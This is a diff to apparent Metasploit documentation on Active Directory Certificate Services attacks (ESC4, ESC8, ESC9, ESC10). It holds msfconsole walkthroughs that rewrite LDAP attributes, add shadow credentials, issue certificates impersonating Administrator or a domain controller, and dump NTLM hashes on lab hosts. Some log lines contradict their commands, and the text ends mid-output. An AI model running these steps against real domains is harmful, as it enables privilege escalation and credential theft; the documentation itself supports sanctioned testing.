+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```
 
 We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
@@ -774,20 +784,20 @@ the `ESC4-Test` certificate template does not allow the certificate's subject na
 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag is not set in the `msPKI-Certificate-Name-Flag` field).
 
 ```msf
-msf6 > use auxiliary/admin/dcerpc/icpr_cert 
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
+msf > use auxiliary/admin/dcerpc/icpr_cert 
+msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
 RHOSTS => 172.30.239.85
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
 SMBUser => normaluser
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
 SMBPass => normalpass
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
+msf auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
 CA => daforest-WIN-BR0CCBA815B-CA
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC4-Test
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC4-Test
 CERT_TEMPLATE => ESC4-Test
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com
+msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com
 ALT_UPN => Administrator@daforest.com
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run 
+msf auxiliary(admin/dcerpc/icpr_cert) > run 
 [*] Running module against 172.30.239.85
 
 [-] 172.30.239.85:445 - There was an error while requesting the certificate.
@@ -796,7 +806,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [-] 172.30.239.85:445 -   Source:  (0x0009) FACILITY_SECURITY: The source of the error code is the Security API layer.
 [-] 172.30.239.85:445 -   HRESULT: (0x80094812) CERTSRV_E_SUBJECT_EMAIL_REQUIRED: The email name is unavailable and cannot be added to the Subject or Subject Alternate name.
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) > 
+msf auxiliary(admin/dcerpc/icpr_cert) > 
 ```
 
 Next, we use the `ad_cs_cert_template` module to update the `ESC4-Test` certificate template. This process first makes a
@@ -805,20 +815,20 @@ update the object in Active Directory. The local certificate template data can b
 descriptor.
 
 ```msf
-msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template 
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 172.30.239.85
+msf auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template 
+msf auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 172.30.239.85
 RHOSTS => 172.30.239.85
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME normaluser
+msf auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME normaluser
 USERNAME => normaluser
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD normalpass
+msf auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD normalpass
 PASSWORD => normalpass
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test
+msf auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test
 CERT_TEMPLATE => ESC4-Test
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE 
+msf auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE 
 ACTION => UPDATE
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true 
+msf auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true 
 VERBOSE => true
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
+msf auxiliary(admin/ldap/ad_cs_cert_template) > run
 [*] Running module against 172.30.239.85
 
 [+] Successfully bound to the LDAP server!
@@ -830,32 +840,32 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
 [*] Parsing SDDL text: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
 [+] The operation completed successfully!
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) > 
+msf auxiliary(admin/ldap/ad_cs_cert_template) > 
 ```
 
 Now that the certificate template has been updated to be vulnerable to ESC1, then we can use the `previous` shortcut
 to switch back to the last module and reattempt to issue the certificate. This time, the operation succeeds.
 
 ```msf
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) > previous 
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/ldap/ad_cs_cert_template) > previous 
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 172.30.239.85
 
 [+] 172.30.239.85:445 - The requested certificate was issued.
 [*] 172.30.239.85:445 - Certificate UPN: Administrator@daforest.com
 [*] 172.30.239.85:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) > 
+msf auxiliary(admin/dcerpc/icpr_cert) > 
 ```
 
 Finally, we switch back to the `ad_cs_cert_template` module to restore the original configuration. We do this by
 setting the local template data option `TEMPLATE_FILE` to the JSON file that was created by the previous run.
 
 ```msf
-msf6 auxiliary(admin/dcerpc/icpr_cert) > previous 
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set TEMPLATE_FILE /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json
+msf auxiliary(admin/dcerpc/icpr_cert) > previous 
+msf auxiliary(admin/ldap/ad_cs_cert_template) > set TEMPLATE_FILE /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json
 TEMPLATE_FILE => /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
+msf auxiliary(admin/ldap/ad_cs_cert_template) > run
 [*] Running module against 172.30.239.85
 
 [+] Successfully bound to the LDAP server!
@@ -866,7 +876,7 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
 [*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505083942_default_172.30.239.85_windows.ad.cs.te_000095.json
 [+] The operation completed successfully!
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
+msf auxiliary(admin/ldap/ad_cs_cert_template) >
 ```
 
 At this point the certificate template's configuration has been restored and the operator has a certificate that can be
@@ -892,10 +902,10 @@ In the following example the AUTO mode is used to issue a certificate for the MS
 authenticated.
 
 ```msf
-msf6 auxiliary(server/relay/esc8) > set RHOSTS 172.30.239.85
-msf6 auxiliary(server/relay/esc8) > run
+msf auxiliary(server/relay/esc8) > set RHOSTS 172.30.239.85
+msf auxiliary(server/relay/esc8) > run
 [*] Auxiliary module running as background job 1.
-msf6 auxiliary(server/relay/esc8) > 
+msf auxiliary(server/relay/esc8) > 
 [*] SMB Server is running. Listening on 0.0.0.0:445
 [*] Server started.
 [*] New request from 192.168.159.129
@@ -921,6 +931,392 @@ msf6 auxiliary(server/relay/esc8) >
 [*] Identity: MSFLAB\smcintyre - All targets relayed to
 ```
 
+# Overview of exploiting ESC9 and ESC10 with Metasploit
+
+ESC9 and ESC10 are similar certificate misconfiguration abuse techniques. They both involve having credentials of a
+user, say "user1", who has GenericWrite privileges over "user2". This allows an attacker as "user1" to update either the
+`userPrincipalName` or `dNSHostName` attribute of "user2". In order to update the attribute, we need to authenticate 
+via LDAP - which is a unique requirement compared to the  other ESC techniques and is why there is a separated
+module called `esc_update_ldap_object` which combines the attribute update via LDAP and certificate issuance process.
+
+If the AD CS server is configured to allow "weak certificate mappings" when a user is requesting a certificate, the
+server will check the `userPrincipalName` or the `dNSHostName` of the requesting identity and then issue a certificate
+based on that value.  Therefore if we can update "user2"'s UPN to "Administrator" and then request a certificate on
+behalf of "user2" we can get an Administrator certificate (easy priv esc horay). That is the essence of both ESC9 and
+ESC10 minus a number of details we'll get into.
+
+It's also worth noting that the following registry keys and preventative measure and exploit techniques (ESC9 and 10) all stem from
+Microsoft attempts to patch CVE-2022–26923 (aka Certifried). During this effort they implemented the new
+`szOID_NTDS_CA_SECURITY_EXT` security extension for issued certificates, which will embed the `objectSid`
+property of the requester, to help facilitate "strong certificate mappings", along with the following registry keys
+and certificate template flags.
+
+## StrongCertificateBindingEnforcement
+Located in: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc`
+
+This registry key defines what is considered weak and strong certificate mappings for **Kerberos authentication**. Possible values:
+
+| Setting | Method                                                                                           | Strength assessment |
+| ------- |--------------------------------------------------------------------------------------------------|---------------------|
+| 0       | No strong certificate mapping checks are done                                                    | weak                |
+| 1       | Will use strong mapping if present though can be ignored if CT_FLAG_NO_SECURITY_EXTENSION is set | weak                |
+| 2       | Full Enforcement Mode (No weak mappings allowed)                                                 | strong              |
+
+In order to exploit these certificate misconfiguration we will need the value of  `StrongCertificateBindingEnforcement` to be either `0` or `1`.
+If the value is set to `2` we cannot exploit the misconfiguration using Kerberos authentication.
+
+## CertificateMappingMethods
+Located in: `HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel`
+
+This registry key defines what is considered weak and strong certificate mappings for **Schannel authentication**. Possible values:
+
+| Bit | Setting | Method                                | Strength assessment |
+| --- | ------- | ------------------------------------- | ------------------- |
+| 1   | 0x0001  | Subject/Issuer certificate mapping    | weak                |
+| 2   | 0x0002  | Issuer certificate mapping            | weak                |
+| 3   | 0x0004  | UPN certificate mapping               | weak                |
+| 4   | 0x0008  | S4U2Self certificate mapping          | strong              |
+| 5   | 0x0010  | S4U2Self explicit certificate mapping | strong              |
+| 1-5 | 0x001F  | All of the above values               | weak                |
+
+In order to exploit these certificate misconfiguration using Schannel authentication we will need the value of
+`CertificateMappingMethods` to be `UPN certificate mapping` (or `All the above values`)
+
+
+## CT_FLAG_NO_SECURITY_EXTENSION
+Certificate templates now include an attribute called `msPKI-Enrollment-Flag`. The `msPKI-Enrollment-Flag` attribute
+defines how certificate enrollment behaves by enabling or disabling specific behaviors via a bitmask of flags. If the
+attribute contains the value:`0x00080000` (aka `CT_FLAG_NO_SECURITY_EXTENSION`) then the `szOID_NTDS_CA_SECURITY_EXT`
+is not included and we can exploit weak certificate mappings even if `StrongCertificateBindingEnforcement` is set to 1.
+
+
+## Changing userPrincipalName vs dNSHostName
+Both can be used to exploit the certificate misconfiguration. It should be noted that normal users don't have a `dNSHostName`
+attribute, only machine accounts do.
+
+# Exploiting ESC9
+## ESC9 Scenario 1
+Pre-requisites:
+- `StrongCertificateBindingEnforcement` is set to `1` (if it's set to `0` exploitation will still work but technically you're exploiting ESC10 in that case)
+- A vulnerable certificate template has the `CT_FLAG_NO_SECURITY_EXTENSION` flag set. 
+- The same vulnerable template has the `SubjectAltRequireUPN` flag set.
+- The same vulnerable template has a client authentication EKU
+- We have credentials of a user who has `GenericWrite` privileges over another user that can enroll in the vulnerable template
+
+```
+msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
+...
+[+] Template: ESC9-Template
+[*]   Distinguished Name: CN=ESC9-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=kerberos,DC=issue
+[*]   Manager Approval: Disabled
+[*]   Required Signatures: 0
+[!]   Potentially vulnerable to: ESC9 (the template is in a vulnerable configuration but in order to exploit registry key StrongCertificateBindingEnforcement must not be set to 2)
+[*]   Notes:
+[*]     * ESC9: Template has msPKI-Enrollment-Flag set to 0x80000 (CT_FLAG_NO_SECURITY_EXTENSION) and specifies a client authentication EKU and user1 has write privileges over user2 and the template has a subjectAltName (UPN or DNS) requirement
+[*]  Certificate Template Write-Enabled SIDs:
+[*]     * S-1-5-21-2324486357-3075865580-3606784161-1602 (user1)
+[*]     * S-1-5-21-2324486357-3075865580-3606784161-1603 (user2)
+[*]     * S-1-5-11 (Authenticated Users)
+[*]   Certificate Template Enrollment SIDs:
+[*]     * S-1-5-21-2324486357-3075865580-3606784161-1602 (user1)
+[*]     * S-1-5-21-2324486357-3075865580-3606784161-1603 (user2)
+[*]     * S-1-5-11 (Authenticated Users)
+...
+```
+Now we can see the above template is possibly exploitable if the `StrongCertificateBindingEnforcement` is set to `1`. In 
+our case it is so we can proceed with exploitation. 
+
+We will set a number of datastore options in order to exploit ESC9 in this scenario.
+We will set `RHOSTS`, `CERT_TEMPLATE`, and `CA` as we normally would. In order to update the UPN of the
+target user we must connect to LDAP and so the datastore options `LDAPUsername`, `LDAPPassword`, and `LDAPDomain`
+are the credentials of the user who has `GenericWrite` privileges over the `TARGET_USERNAME`. Note `LDAPRport` must be
+set in order to connect however it defaults to 389.
+
+The option `UPDATE_LDAP_OBJECT` is an enum that can be set to either `userPrincipalName`  or `dNSHostName` and must be
+set in order to instruct the module to attempt to exploit ESC9 or ESC10. We will set `UPDATE_LDAP_OBJECT` to
+`userPrincipalName` in this case and so we then must set `UPDATE_LDAP_OBJECT_VALUE` to `Administrator`.
+
+It's important for this scenario, when updating the UPN to omit the domain suffix from the UPN to avoid conflicts with
+other UPNs in the domain, which by default all contain the suffix. The UPN processing order will still allow the DC to
+map the UPN Administrator in our writable account to the actual administrator, making its impersonation possible.
+
+It's also important to note that after issuing the certificate we must revert the `userPrincipalName` of the
+`TARGET_USERNAME` back to the original value before attempting to use the certificate or the certificate will not work. 
+This is done automatically by the module. 
+
+In the following example, the ESC9-Template template is vulnerable to ESC9 and will yield a ticket for Administrator once complete. 
+
+```
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
+rhosts => 172.16.199.200
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
+ldaprport => 389
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username user2
+target_username => user2
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
+ldapdomain => kerberos.issue
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
+ldappassword => N0tpassword!
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
+ldapusername => user1
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set cert_template ESC9-Template
+cert_template => SpencerTest
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ca kerberos-DC2-CA
+ca => kerberos-DC2-CA
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE Administrator
+UPDATE_LDAP_OBJECT_VALUE => Administrator
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
+[*] Running module against 172.16.199.200
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Current value of user2's userPrincipalName: user2
+[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
+[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
+[+] The operation completed successfully!
+[*] 172.16.199.200:445 - Adding shadow credentials for user2
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_windows.ad.cs_563081.pfx
+[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 2ff08c15-0ab3-98ad-ee0b-3fd1fbcf3e9d
+[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
+[*] 172.16.199.200:445 - Getting hash for user2
+[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
+[+] 172.16.199.200:88 - Received a valid TGT-Response
+[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_263627.bin
+[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
+[+] 172.16.199.200:88 - Received a valid TGS-Response
+[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_015140.bin
+[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
+[+] 172.16.199.200:445 - The requested certificate was issued.
+[*] 172.16.199.200:445 - Certificate Policies:
+[*] 172.16.199.200:445 -   * 1.3.6.1.5.5.7.3.2 (Client Authentication)
+[*] 172.16.199.200:445 - Certificate UPN: Administrator
+[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717140907_default_172.16.199.200_windows.ad.cs_548728.pfx
+[*] 172.16.199.200:445 - reverting ldap object
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[*] No matching entries found - check device ID
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Current value of user2's userPrincipalName: Administrator
+[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
+[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
+[+] The operation completed successfully!
+[*] Auxiliary module execution completed
+```
+We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
+domain administrator. See the [Getting A Kerberos Ticket](#getting-a-kerberos-ticket) section for more information.
+
+## ESC9 Scenario 2
+Pre-requisites:
+- `StrongCertificateBindingEnforcement` is set to `1` (if it's set to `0` exploitation will still work but technically you're exploiting ESC10 in that case)
+- A vulnerable certificate template has the `CT_FLAG_NO_SECURITY_EXTENSION` flag set.
+- The same vulnerable template has the `SubjectAltRequireDNS` flag set. <--- (Difference 1/2 between pre-requisites in scenario 1 and 2)
+- The same vulnerable template has a client authentication EKU
+- We have credentials of a machine account who has `GenericWrite` privileges over another **machine account** that can enroll in the vulnerable template <--- (Difference 2/2 between pre-requisites in scenario 1 and 2)
+  - Only machine accounts can have the `dNSHostName` attribute set, so our "target_user" needs to be machine account
+
+The option `UPDATE_LDAP_OBJECT` will now be set to `dNSHostName` and because only machine accounts have the `dNSHostName` attribute we will set our `TARGET_USER` to the machine account`Test2$`
+We will be changing the `dNSHostName` of the machine account `Test1$` to `DC2.kerberos.issue` (`DC2` is the hostname of the domain controller) in hopes to impersonate the Domain Controller machine account
+
+`CERT_TEMPLATE` will be set to `ESC9-Template-Dns` which is the same template as `ESC9-Template` but with the `SubjectAltRequireDNS` flag set instead of the `SubjectAltRequireUPN` flag.
+
+```
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
+rhosts => 172.16.199.200
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
+ldaprport => 389
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username "Test2$"
+target_username => Test2$
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE dc2.kerberos.issue
+UPDATE_LDAP_OBJECT_VALUE => dc2.kerberos.issue
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT dnsHostName
+UPDATE_LDAP_OBJECT => dNSHostName
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CA kerberos-DC2-CA
+CA => kerberos-DC2-CA
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CERT_TEMPLATE ESC9-Template-Dns
+CERT_TEMPLATE => ESC9-Template-Dns
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
+ldapdomain => kerberos.issue
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
+ldappassword => N0tpassword!
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername Test1$
+ldapusername => Test1$
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
+[*] Reloading module...
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Running module against 172.16.199.200
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Current value of Test2$'s dNSHostName:
+[*] Attempting to update dNSHostName for CN=Test2,CN=Computers,DC=kerberos,DC=issue to dc2.kerberos.issue...
+[+] Successfully updated CN=Test2,CN=Computers,DC=kerberos,DC=issue's dNSHostName to dc2.kerberos.issue
+[+] The operation completed successfully!
+[*] 172.16.199.200:445 - Adding shadow credentials for Test2$
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717141705_default_172.16.199.200_windows.ad.cs_907188.pfx
+[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 517757a2-5174-5c43-6005-102c4429ff05
+[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
+[*] 172.16.199.200:445 - Getting hash for user2
+[!] Warning: Provided principal and realm (Test2$@kerberos.issue) do not match entries in certificate:
+[+] 172.16.199.200:88 - Received a valid TGT-Response
+[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717141705_default_172.16.199.200_mit.kerberos.cca_132784.bin
+[*] 172.16.199.200:88 - Getting NTLM hash for Test2$@kerberos.issue
+[+] 172.16.199.200:88 - Received a valid TGS-Response
+[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717141705_default_172.16.199.200_mit.kerberos.cca_364943.bin
+[+] Found NTLM hash for Test2$: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
+[+] 172.16.199.200:445 - The requested certificate was issued.
+[*] 172.16.199.200:445 - Certificate Policies:
+[*] 172.16.199.200:445 -   * 1.3.6.1.5.5.7.3.2 (Client Authentication)
+[*] 172.16.199.200:445 - Certificate DNS: dc2.kerberos.issue
+[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717141706_default_172.16.199.200_windows.ad.cs_369517.pfx
+[*] 172.16.199.200:445 - reverting ldap object
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[+] Deleted entry with device ID 517757a2-5174-5c43-6005-102c4429ff05
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Attempting to delete attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue...
+[+] Successfully deleted attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue
+[+] The operation completed successfully!
+[*] Auxiliary module execution completed
+msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.16.199.200 cert_file=/Users/jheysel/.msf4/loot/20250717141706_default_172.16.199.200_windows.ad.cs_369517.pfx
+[*] Running module against 172.16.199.200
+[+] 172.16.199.200:88 - Received a valid TGT-Response
+[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717142328_default_172.16.199.200_mit.kerberos.cca_370847.bin
+[*] 172.16.199.200:88 - Getting NTLM hash for dc2$@kerberos.issue
+[+] 172.16.199.200:88 - Received a valid TGS-Response
+[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717142328_default_172.16.199.200_mit.kerberos.cca_596103.bin
+[+] Found NTLM hash for dc2$: aad3b435b51404eeaad3b435b51404ee:cceede79c156a295f45e7ad38ee2f884
+[*] Auxiliary module execution completed
+```
+
+# Exploiting ESC10
+## ESC10 Scenario 1
+Pre-requisites:
+- `StrongCertificateBindingEnforcement` is set to `0`
+- Because the above is set to `0` we don't need the `CT_FLAG_NO_SECURITY_EXTENSION` flag set on the vulnerable template
+- Other than the above, pre-requisites and exploitation are the exact same as ESC9 Scenario 1
+
+## ESC10 Scenario 2
+Pre-requisites: 
+- `CertificateMappingMethods` is set to `0x0004` (UPN certificate mapping) or `0x001F` (All of the above values)
+- The vulnerable template has the `SubjectAltRequireUPN` set
+- The same vulnerable template has a client authentication EKU
+- We have credentials of a machine account who has `GenericWrite` privileges over another machine account that can enroll in the vulnerable template
+
+In this scenario we can only compromise accounts that do not already have a populated `userPrincipalName` attribute, such as machine accounts and the default domain administrator.
+In addition, because this registry key only applies to SChannel authentication we are forced to authenticate to LDAPS once we get a certificate.
+
+```
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
+rhosts => 172.16.199.200
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
+ldaprport => 389
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username "user2"
+target_username => user2
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE 'DC2$@kerberos.issue'
+UPDATE_LDAP_OBJECT_VALUE => DC2$@kerberos.issue
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT userPrincipalName
+UPDATE_LDAP_OBJECT => userPrincipalName
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CA kerberos-DC2-CA
+CA => kerberos-DC2-CA
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CERT_TEMPLATE ESC10-Template
+CERT_TEMPLATE => ESC10-Template
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
+ldapdomain => kerberos.issue
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
+ldappassword => N0tpassword!
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
+ldapusername => user1
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
+[*] Running module against 172.16.199.200
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Current value of user2's userPrincipalName: user2
+[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to DC2$@kerberos.issue...
+[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to DC2$@kerberos.issue
+[+] The operation completed successfully!
+[*] 172.16.199.200:445 - Adding shadow credentials for user2
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717143323_default_172.16.199.200_windows.ad.cs_860225.pfx
+[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 825a1a2f-336f-e41c-24fb-703bb79f79f9
+[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
+[*] 172.16.199.200:445 - Getting hash for user2
+[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
+[+] 172.16.199.200:88 - Received a valid TGT-Response
+[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717143323_default_172.16.199.200_mit.kerberos.cca_872380.bin
+[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
+[+] 172.16.199.200:88 - Received a valid TGS-Response
+[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717143323_default_172.16.199.200_mit.kerberos.cca_123025.bin
